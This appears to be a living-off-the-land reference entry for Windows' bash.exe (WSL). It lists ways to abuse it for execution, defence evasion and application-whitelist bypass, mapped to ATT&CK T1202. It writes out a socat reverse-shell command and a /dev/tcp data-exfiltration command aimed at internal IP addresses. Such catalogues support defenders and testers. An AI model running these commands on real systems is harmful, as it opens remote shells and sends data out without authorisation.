.. /Bash.exe
Star

Execute
AWL bypass

File used by Windows subsystem for Linux


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Executes calc.exe from bash.exe

    bash.exe -c calc.exe
    Use case
    Performs execution of specified file, can be used as a defensive evasion.
    Privileges required
    User
    Operating systems
    Windows 10
    ATT&CK® technique
    T1202
  2. Executes a reverseshell

    bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
    Use case
    Performs execution of specified file, can be used as a defensive evasion.
    Privileges required
    User
    Operating systems
    Windows 10
    ATT&CK® technique
    T1202
  3. Exfiltrate data

    bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
    Use case
    Performs execution of specified file, can be used as a defensive evasion.
    Privileges required
    User
    Operating systems
    Windows 10
    ATT&CK® technique
    T1202

AWL bypass

  1. Executes calc.exe from bash.exe

    bash.exe -c calc.exe
    Use case
    Performs execution of specified file, can be used to bypass Application Whitelisting.
    Privileges required
    User
    Operating systems
    Windows 10
    ATT&CK® technique
    T1202